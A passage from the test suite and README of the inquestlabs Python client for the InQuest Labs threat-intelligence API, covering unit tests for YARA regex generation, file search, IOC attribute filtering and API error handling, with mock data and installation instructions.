[\x2b\x2f-9A-Za-z]{2}YW1pbm[k-n]|cGVkcmFt[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}YW1pbm[k-n]|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb[Q-Za-f][159BFJNRVZdhlptx]hbWlua[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][159BFJNRVZdhlptx]hbWlua[Q-Za-f])"""
8 |
9 |
10 | @pytest.fixture
11 | def mock_regex():
12 | return "pedram.*amini"
13 |
14 |
15 | def test_valid_b64re(labs, mocker, mock_body, mock_regex):
16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
17 | results = labs.yara_b64re(mock_regex)
18 | assert mock_body in results
19 |
20 |
21 | def test_valid_b64re_big_endian(labs, mock_regex, mocker, mock_body):
22 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
23 | results = labs.yara_b64re(mock_regex, endian="BIG")
24 | assert mock_body in results
25 |
26 |
27 | def test_valid_b64re_little_endian(labs, mocker, mock_body, mock_regex):
28 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
29 | results = labs.yara_b64re(mock_regex, endian="LITTLE")
30 | assert mock_body in results
31 |
32 |
33 | def test_valid_b64re_big_endian_with_key(labs_with_key, mock_regex, mocker, mock_body):
34 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
35 | results = labs_with_key.yara_b64re(mock_regex, endian="BIG")
36 | assert mock_body in results
37 |
38 |
39 | def test_valid_b64re_little_endian_with_key(labs_with_key, mock_regex, mocker, mock_body):
40 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
41 | results = labs_with_key.yara_b64re(mock_regex, endian="LITTLE")
42 | assert mock_body in results
43 |
44 |
45 | def test_valid_b64re_with_key(labs_with_key, mocker, mock_body, mock_regex):
46 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
47 | results = labs_with_key.yara_b64re(mock_regex)
48 | assert mock_body in results
49 |
50 |
51 | def test_invalid_endian(labs, mocker, mock_regex):
52 | with pytest.raises(inquestlabs_exception) as excinfo:
53 | labs.yara_b64re(mock_regex, endian="BAD_ENDIAN")
54 |
55 | assert "invalid endianess" in str(excinfo.value)
56 |
57 |
58 | def test_invalid_endian_with_key(labs_with_key, mocker, mock_regex):
59 | with pytest.raises(inquestlabs_exception) as excinfo:
60 | labs_with_key.yara_b64re(mock_regex, endian="BAD_ENDIAN")
61 |
62 | assert "invalid endianess" in str(excinfo.value)
63 |
--------------------------------------------------------------------------------
/tests/test_yara_widere.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from inquestlabs import inquestlabs_exception
3 |
4 |
5 | @pytest.fixture
6 | def mock_body():
7 | return """(([\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAbQBhAG0AaQBuAG[k-n]|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[AQgw][A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f]|AHA{2}ZQBkAHIAYQBtA[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[\x2b\x2f-9A-Za-z]A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG0A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[AQgw][A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[\x2b\x2f-9A-Za-z]A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[\x2b\x2f-9A-Za-z]A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG0AYQBtAGkAbgBp|AHA{2}ZQBkAHIAYQBtAGEAbQBpAG4Aa[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[AQgw][A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f]|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAbQ[A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f])"""
8 |
9 |
10 | @pytest.fixture
11 | def mock_regex():
12 | return "pedram.*amini"
13 |
14 |
15 | def test_valid_widere(labs, mocker, mock_body, mock_regex):
16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
17 | results = labs.yara_widere(mock_regex)
18 | assert mock_body in results
19 |
20 |
21 | def test_valid_widere_big_endian(labs, mock_regex, mocker, mock_body):
22 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
23 | results = labs.yara_widere(mock_regex, endian="BIG")
24 | assert mock_body in results
25 |
26 |
27 | def test_valid_widere_little_endian(labs, mocker, mock_body, mock_regex):
28 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
29 | results = labs.yara_widere(mock_regex, endian="LITTLE")
30 | assert mock_body in results
31 |
32 |
33 | def test_valid_widere_big_endian_with_key(labs_with_key, mock_regex, mocker, mock_body):
34 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
35 | results = labs_with_key.yara_widere(mock_regex, endian="BIG")
36 | assert mock_body in results
37 |
38 |
39 | def test_valid_widere_little_endian_with_key(labs_with_key, mock_regex, mocker, mock_body):
40 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
41 | results = labs_with_key.yara_widere(mock_regex, endian="LITTLE")
42 | assert mock_body in results
43 |
44 |
45 | def test_valid_widere_with_key(labs_with_key, mocker, mock_body, mock_regex):
46 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body)
47 | results = labs_with_key.yara_widere(mock_regex)
48 | assert mock_body in results
49 |
50 |
51 | def test_invalid_endian(labs, mocker, mock_regex):
52 | with pytest.raises(inquestlabs_exception) as excinfo:
53 | labs.yara_widere(mock_regex, endian="BAD_ENDIAN")
54 |
55 | assert "invalid endianess" in str(excinfo.value)
56 |
57 |
58 | def test_invalid_endian_with_key(labs_with_key, mocker, mock_regex):
59 | with pytest.raises(inquestlabs_exception) as excinfo:
60 | labs_with_key.yara_widere(mock_regex, endian="BAD_ENDIAN")
61 |
62 | assert "invalid endianess" in str(excinfo.value)
63 |
--------------------------------------------------------------------------------
/tests/test_dfi_search.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from inquestlabs import inquestlabs_exception
3 | import json
4 |
5 | @pytest.fixture
6 | def mock_response():
7 | response = """{
8 | "data": [
9 | {
10 | "analysis_completed": true,
11 | "classification": "UNKNOWN",
12 | "file_type": "XLS",
13 | "first_seen": "Wed, 16 Oct 2019 16:55:16 GMT",
14 | "inquest_alerts": [],
15 | "last_inquest_featext": "Mon, 28 Oct 2019 06:39:05 GMT",
16 | "len_code": 8415,
17 | "len_context": 35268,
18 | "len_metadata": 11294,
19 | "len_ocr": 88,
20 | "mime_type": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
21 | "sha256": "b43e1cef3c40e4629529c0ddcdef3c5be451477afd713abd0b67e1260831ba19",
22 | "size": 2004642,
23 | "subcategory": "macro_hunter",
24 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule"
25 | },
26 | {
27 | "analysis_completed": true,
28 | "classification": "UNKNOWN",
29 | "file_type": "XLS",
30 | "first_seen": "Wed, 16 Oct 2019 16:55:13 GMT",
31 | "inquest_alerts": [],
32 | "last_inquest_featext": "Sun, 27 Oct 2019 17:28:11 GMT",
33 | "len_code": 10154,
34 | "len_context": 20688,
35 | "len_metadata": 13595,
36 | "len_ocr": 88,
37 | "mime_type": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
38 | "sha256": "0d85df8baeedddcf487865eb3bf827399895f1e470675a6542135848514f5003",
39 | "size": 2044782,
40 | "subcategory": "macro_hunter",
41 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule"
42 | },
43 | {
44 | "analysis_completed": true,
45 | "classification": "UNKNOWN",
46 | "file_type": "XLS",
47 | "first_seen": "Wed, 16 Oct 2019 16:09:02 GMT",
48 | "inquest_alerts": [],
49 | "last_inquest_featext": "Mon, 28 Oct 2019 08:37:09 GMT",
50 | "len_code": 10508,
51 | "len_context": 20674,
52 | "len_metadata": 13595,
53 | "len_ocr": 88,
54 | "mime_type": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
55 | "sha256": "cadffb3d09a59d0923ddf57982096383cf44f9016007000a81fa56e875fceaa1",
56 | "size": 2069673,
57 | "subcategory": "macro_hunter",
58 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule"
59 | }],"success": true}"""
60 | return json.loads(response)
61 |
62 |
63 | def test_invalid_category(labs, mocker):
64 | with pytest.raises(inquestlabs_exception) as excinfo:
65 | labs.dfi_search("BAD_CATEGORY", "code", "mock_keyword")
66 |
67 | assert "invalid category" in str(excinfo.value)
68 |
69 |
70 | def test_invalid_subcategory(labs, mocker):
71 | with pytest.raises(inquestlabs_exception) as excinfo:
72 | labs.dfi_search("hash", "BAD_CATEGORY", "mock_keyword")
73 | assert "invalid subcategory" in str(excinfo.value)
74 |
75 |
76 | def test_valid_ext(labs, mocker, mock_response):
77 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
78 | results = labs.dfi_search("ext", "metadata", "mock")
79 | assert len(results["data"]) == 3
80 |
81 |
82 | def test_valid_hash(labs, mocker, mock_response):
83 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
84 | results = labs.dfi_search("hash", "md5", "mock")
85 | assert len(results["data"]) == 3
86 |
87 |
88 | def test_valid_other(labs, mocker, mock_response):
89 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
90 | results = labs.dfi_search("ioc", "domain", "mock")
91 | assert len(results["data"]) == 3
92 |
93 |
94 | def test_invalid_category_with_key(labs_with_key, mocker):
95 | with pytest.raises(inquestlabs_exception) as excinfo:
96 | labs_with_key.dfi_search("BAD_CATEGORY", "code", "mock_keyword")
97 |
98 | assert "invalid category" in str(excinfo.value)
99 |
100 |
101 | def test_invalid_subcategory_with_key(labs_with_key, mocker):
102 | with pytest.raises(inquestlabs_exception) as excinfo:
103 | labs_with_key.dfi_search("hash", "BAD_CATEGORY", "mock_keyword")
104 |
105 | assert "invalid subcategory" in str(excinfo.value)
106 |
107 |
108 | def test_valid_ext_with_key(labs_with_key, mocker, mock_response):
109 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
110 | results = labs_with_key.dfi_search("ext", "metadata", "mock")
111 | assert len(results["data"]) == 3
112 |
113 |
114 | def test_valid_hash_with_key(labs_with_key, mocker, mock_response):
115 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
116 | results = labs_with_key.dfi_search("hash", "md5", "mock")
117 | assert len(results["data"]) == 3
118 |
119 |
120 | def test_valid_other_with_key(labs_with_key, mocker, mock_response):
121 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
122 | results = labs_with_key.dfi_search("ioc", "domain", "mock")
123 | assert len(results["data"]) == 3
124 |
--------------------------------------------------------------------------------
/tests/test_api.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | import sys, os
3 | import requests
4 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
5 |
6 | from inquestlabs import inquestlabs_exception
7 | import requests_mock
8 |
9 | def mocked_400_response_request(*args, **kwargs):
10 | with requests_mock.Mocker() as mock_request:
11 | mock_request.get("http://labs_mock.com", json={"error":400}, status_code=400)
12 | response = requests.get("http://labs_mock.com")
13 | return response
14 |
15 | def mocked_413_response_size_exceeded(*args, **kwargs):
16 | with requests_mock.Mocker() as mock_request:
17 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=413)
18 | response = requests.get("http://labs_mock.com")
19 | return response
20 |
21 | def mocked_500_response_generic_failure(*args, **kwargs):
22 | with requests_mock.Mocker() as mock_request:
23 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=500)
24 | response = requests.get("http://labs_mock.com")
25 | return response
26 |
27 | def mocked_404_response_nonexistant(*args, **kwargs):
28 | with requests_mock.Mocker() as mock_request:
29 | mock_request.get("http://labs_mock.com", status_code=404)
30 | response = requests.get("http://labs_mock.com")
31 | return response
32 |
33 | def mocked_400_response_missing_parameter(*args, **kwargs):
34 | with requests_mock.Mocker() as mock_request:
35 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=400)
36 | response = requests.get("http://labs_mock.com")
37 | return response
38 |
39 | def mocked_429_response_ratelimit(*args, **kwargs):
40 | with requests_mock.Mocker() as mock_request:
41 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=200)
42 | response = requests.get("http://labs_mock.com")
43 | return response
44 |
45 | def mocked_200_response_unsuccessful_request(*args, **kwargs):
46 | with requests_mock.Mocker() as mock_request:
47 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=200)
48 | response = requests.get("http://labs_mock.com")
49 | return response
50 |
51 | def test_api_invalid_method(labs):
52 | with pytest.raises(Exception)as excinfo:
53 | labs.API("mock", data=None, path=None, method="INVALID", raw=False)
54 |
55 | assert "AssertionError" in str(excinfo.type)
56 |
57 | def test_api_invalid_path(labs):
58 | with pytest.raises(Exception) as excinfo:
59 | labs.API("mock", data=None, path="invalid", method="GET", raw=False)
60 |
61 | assert "FileNotFound" in str(excinfo.type)
62 |
63 | def test_api_exceeded_attempts_to_communicate(labs,mocker):
64 | mocker.patch('requests.request' , side_effect=Exception)
65 | with pytest.raises(inquestlabs_exception) as excinfo:
66 | labs.API("mock")
67 |
68 | assert "attempts to communicate with InQuest" in str(excinfo.value)
69 |
70 | def test_api_bad_status_code(labs,mocker):
71 | mocker.patch('requests.request', side_effect=mocked_400_response_request)
72 | with pytest.raises(inquestlabs_exception) as excinfo:
73 | labs.API("mock")
74 |
75 | assert "status=400" in str(excinfo.value)
76 |
77 | def test_api_unsuccessful_request(labs,mocker):
78 | mocker.patch('requests.request', side_effect=mocked_200_response_unsuccessful_request)
79 | with pytest.raises(inquestlabs_exception) as excinfo:
80 | labs.API("mock")
81 |
82 | assert "status=200 but error communicating" in str(excinfo.value)
83 |
84 |
85 | def test_api_invalid_method_with_key(labs_with_key):
86 | with pytest.raises(Exception)as excinfo:
87 | labs_with_key.API("mock", data=None, path=None, method="INVALID", raw=False)
88 |
89 | assert "AssertionError" in str(excinfo.type)
90 |
91 | def test_api_invalid_path_with_key(labs_with_key):
92 | with pytest.raises(Exception) as excinfo:
93 | labs_with_key.API("mock", data=None, path="invalid", method="GET", raw=False)
94 |
95 | assert "FileNotFound" in str(excinfo.type)
96 |
97 | def test_api_exceeded_attempts_to_communicate(labs_with_key,mocker):
98 | mocker.patch('requests.request' , side_effect=Exception)
99 | with pytest.raises(inquestlabs_exception) as excinfo:
100 | labs_with_key.API("mock")
101 |
102 | assert "attempts to communicate with InQuest" in str(excinfo.value)
103 |
104 | def test_api_bad_status_code(labs_with_key,mocker):
105 | mocker.patch('requests.request', side_effect=mocked_400_response_request)
106 | with pytest.raises(inquestlabs_exception) as excinfo:
107 | labs_with_key.API("mock")
108 |
109 | assert "status=400" in str(excinfo.value)
110 |
111 | def test_api_unsuccessful_request(labs_with_key,mocker):
112 | mocker.patch('requests.request', side_effect=mocked_200_response_unsuccessful_request)
113 | with pytest.raises(inquestlabs_exception) as excinfo:
114 | labs_with_key.API("mock")
115 |
116 | assert "status=200 but error communicating" in str(excinfo.value)
117 |
118 | def test_api_ratelimit_reached(labs_with_key,mocker):
119 | mocker.patch('requests.request', side_effect=mocked_200_response_unsuccessful_request)
120 | with pytest.raises(inquestlabs_exception) as excinfo:
121 | labs_with_key.API("mock")
122 |
123 | assert "status=200 but error communicating" in str(excinfo.value)
124 |
--------------------------------------------------------------------------------
/tests/test_dfi_attributes.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | import sys
3 | import os
4 |
5 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
6 | from inquestlabs import inquestlabs_exception
7 | from inquestlabs import inquestlabs_api
8 |
9 | @pytest.fixture
10 | def mock_attribs():
11 | return [
12 | {"attribute": "domain",
13 | "category": "ioc",
14 | "count": 1,
15 | "value": "aHX3xw.ao"
16 | },
17 | {"attribute": "domain",
18 | "category": "ioc",
19 | "count": 1,
20 | "value": "aHX3xw.bt"
21 | },
22 | {"attribute": "url",
23 | "category": "ioc",
24 | "count": 1,
25 | "value": "aHX3xw.bt"
26 | },
27 | {"attribute": "email",
28 | "category": "ioc",
29 | "count": 1,
30 | "value": "aHX3xw.bt"
31 | },
32 | {"attribute": "domain",
33 | "category": "ioc",
34 | "count": 1,
35 | "value": "ebug.Pr"
36 | },
37 | {"attribute": "domain",
38 | "category": "ioc",
39 | "count": 1,
40 | "value": "Paint.NET"
41 | },
42 | {"attribute": "filename",
43 | "category": "ioc",
44 | "count": 1,
45 | "value": "FM20.DLL"
46 | },
47 | {"attribute": "filename",
48 | "category": "ioc",
49 | "count": 1,
50 | "value": "MSO.DLL"
51 | },
52 | {"attribute": "filename",
53 | "category": "ioc",
54 | "count": 1,
55 | "value": "VBE7.DLL"
56 | },
57 | {"attribute": "xmpid",
58 | "category": "ioc",
59 | "count": 1,
60 | "value": "xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb"},
61 | {"attribute": "xmpid",
62 | "category": "ioc",
63 | "count": 1,
64 | "value": "xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e"
65 | }]
66 |
67 |
68 | @pytest.fixture
69 | def mock_attribs():
70 | return [
71 | {"attribute": "domain",
72 | "category": "ioc",
73 | "count": 1,
74 | "value": "aHX3xw.ao"
75 | },
76 | {"attribute": "domain",
77 | "category": "ioc",
78 | "count": 1,
79 | "value": "aHX3xw.bt"
80 | },
81 | {"attribute": "url",
82 | "category": "ioc",
83 | "count": 1,
84 | "value": "aHX3xw.bt"
85 | },
86 | {"attribute": "email",
87 | "category": "ioc",
88 | "count": 1,
89 | "value": "aHX3xw.bt"
90 | },
91 | {"attribute": "domain",
92 | "category": "ioc",
93 | "count": 1,
94 | "value": "ebug.Pr"
95 | },
96 | {"attribute": "domain",
97 | "category": "ioc",
98 | "count": 1,
99 | "value": "Paint.NET"
100 | },
101 | {"attribute": "filename",
102 | "category": "ioc",
103 | "count": 1,
104 | "value": "FM20.DLL"
105 | },
106 | {"attribute": "filename",
107 | "category": "ioc",
108 | "count": 1,
109 | "value": "MSO.DLL"
110 | },
111 | {"attribute": "filename",
112 | "category": "ioc",
113 | "count": 1,
114 | "value": "VBE7.DLL"
115 | },
116 | {"attribute": "xmpid",
117 | "category": "ioc",
118 | "count": 1,
119 | "value": "xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb"},
120 | {"attribute": "xmpid",
121 | "category": "ioc",
122 | "count": 1,
123 | "value": "xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e"
124 | }]
125 |
126 | @pytest.fixture
127 | def mock_attribs():
128 | return [
129 | {"attribute": "domain",
130 | "category": "ioc",
131 | "count": 1,
132 | "value": "aHX3xw.ao"
133 | },
134 | {"attribute": "domain",
135 | "category": "ioc",
136 | "count": 1,
137 | "value": "aHX3xw.bt"
138 | },
139 | {"attribute": "url",
140 | "category": "ioc",
141 | "count": 1,
142 | "value": "aHX3xw.bt"
143 | },
144 | {"attribute": "email",
145 | "category": "ioc",
146 | "count": 1,
147 | "value": "aHX3xw.bt"
148 | },
149 | {"attribute": "domain",
150 | "category": "ioc",
151 | "count": 1,
152 | "value": "ebug.Pr"
153 | },
154 | {"attribute": "domain",
155 | "category": "ioc",
156 | "count": 1,
157 | "value": "Paint.NET"
158 | },
159 | {"attribute": "filename",
160 | "category": "ioc",
161 | "count": 1,
162 | "value": "FM20.DLL"
163 | },
164 | {"attribute": "filename",
165 | "category": "ioc",
166 | "count": 1,
167 | "value": "MSO.DLL"
168 | },
169 | {"attribute": "filename",
170 | "category": "ioc",
171 | "count": 1,
172 | "value": "VBE7.DLL"
173 | },
174 | {"attribute": "xmpid",
175 | "category": "ioc",
176 | "count": 1,
177 | "value": "xmp.iid:c69177cd-9fe4-7044-be5a-e60c0cec53fb"},
178 | {"attribute": "xmpid",
179 | "category": "ioc",
180 | "count": 1,
181 | "value": "xmp.iid:dc986887-b6b9-324c-afbd-cf38bd4f373e"
182 | }]
183 |
184 | def test_dfi_filter_invalid(labs):
185 | with pytest.raises(inquestlabs_exception) as excinfo:
186 | labs.dfi_attributes("mock", filter_by="invalid")
187 |
188 | assert "invalid attribute filter" in str(excinfo.value)
189 |
190 |
191 | def test_dfi_filter_by_domain(labs, mocker, mock_attribs):
192 |
193 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
194 | attributes = labs.dfi_attributes("mock", filter_by="domain")
195 | assert len(attributes) == 4
196 |
197 |
198 | def test_dfi_filter_by_xmpid(labs, mocker, mock_attribs):
199 |
200 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
201 | attributes = labs.dfi_attributes("mock", filter_by="xmpid")
202 | assert len(attributes) == 2
203 |
204 |
205 | def test_dfi_filter_by_url(labs, mocker, mock_attribs):
206 |
207 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
208 | attributes = labs.dfi_attributes("mock", filter_by="url")
209 | assert len(attributes) == 1
210 |
211 |
212 | def test_dfi_filter_by_email(labs, mocker, mock_attribs):
213 |
214 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
215 | attributes = labs.dfi_attributes("mock", filter_by="email")
216 | assert len(attributes) == 1
217 |
218 |
219 | def test_dfi_filter_by_filename(labs, mocker, mock_attribs):
220 |
221 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
222 | attributes = labs.dfi_attributes("mock", filter_by="filename")
223 | assert len(attributes) == 3
224 |
225 |
226 | def test_dfi_filter_by_none(labs, mocker, mock_attribs):
227 |
228 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
229 |
230 | attributes = labs.dfi_attributes("mock")
231 | assert len(attributes) == 11
232 |
233 |
234 | def test_dfi_filter_invalid_with_key(labs_with_key):
235 | with pytest.raises(inquestlabs_exception) as excinfo:
236 | labs_with_key.dfi_attributes("mock", filter_by="invalid")
237 |
238 | assert "invalid attribute filter" in str(excinfo.value)
239 |
240 |
241 | def test_dfi_filter_by_domain_with_key(labs_with_key, mocker, mock_attribs):
242 |
243 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
244 | attributes = labs_with_key.dfi_attributes("mock", filter_by="domain")
245 | assert len(attributes) == 4
246 |
247 |
248 | def test_dfi_filter_by_xmpid_with_key(labs_with_key, mocker, mock_attribs):
249 |
250 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
251 | attributes = labs_with_key.dfi_attributes("mock", filter_by="xmpid")
252 | assert len(attributes) == 2
253 |
254 |
255 | def test_dfi_filter_by_url_with_key(labs_with_key, mocker, mock_attribs):
256 |
257 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
258 | attributes = labs_with_key.dfi_attributes("mock", filter_by="url")
259 | assert len(attributes) == 1
260 |
261 |
262 | def test_dfi_filter_by_email_with_key(labs_with_key, mocker, mock_attribs):
263 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
264 | attributes = labs_with_key.dfi_attributes("mock", filter_by="email")
265 | assert len(attributes) == 1
266 |
267 |
268 | def test_dfi_filter_by_filename_with_key(labs_with_key, mocker, mock_attribs):
269 |
270 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
271 | attributes = labs_with_key.dfi_attributes("mock", filter_by="filename")
272 | assert len(attributes) == 3
273 |
274 |
275 | def test_dfi_filter_by_none_with_key(labs_with_key, mocker, mock_attribs):
276 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_attribs)
277 | attributes = labs_with_key.dfi_attributes("mock")
278 | assert len(attributes) == 11
279 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 | 
3 | 
4 |
5 | # RETIRED November 2025
6 |
7 | # inquestlabs
8 | A Pythonic interface and command line tool for interacting with the
9 | [InQuest Labs](https://labs.inquest.net) API. Note that an API key is *not* required to interact with this API. An API key does provide the ability to increase their lookback, remove rate limitations, and download available samples. Users can sign in via OAuth to generate API keys. There is no cost to sign in. Authentication is supported via LinkedIn, Twitter, Google, and Github.
10 |
11 | Searchable API documentation with multi-language snippets:
12 |
13 | OpenAPI (Swagger) specification:
14 |
15 | ## Installation
16 | The recommended way to install InQuest Labs API CLI is by using [pipx](https://pypa.github.io/pipx/). This installs the package and all dependencies in an isolated virtual environment that can be invoked easily.
17 |
18 | ```bash
19 | pipx install inquestlabs
20 | ```
21 |
22 | Alternately, or in cases where you want to use inquestlabs as a library,
23 | you can install it using [pip](https://pip.pypa.io/).
24 |
25 | ```bash
26 | pip install inquestlabs
27 | ```
28 |
29 | ## InQuest Labs Command Line Driver
30 | To see the available command line tools and options, see the output of `inquestlabs --help`. It'll look something like this:
31 |
32 |
33 | View example
34 |
35 | ```bash
36 | InQuest Labs Command Line Driver
37 |
38 | Usage:
39 | inquestlabs [options] dfi list
40 | inquestlabs [options] dfi details [--attributes]
41 | inquestlabs [options] dfi download [--encrypt]
42 | inquestlabs [options] dfi attributes [--filter=]
43 | inquestlabs [options] dfi search (code|context|metadata|ocr)
44 | inquestlabs [options] dfi search (md5|sha1|sha256|sha512)
45 | inquestlabs [options] dfi search (domain|email|filename|filepath|ip|registry|url|xmpid)
46 | inquestlabs [options] dfi sources
47 | inquestlabs [options] dfi upload
48 | inquestlabs [options] iocdb list
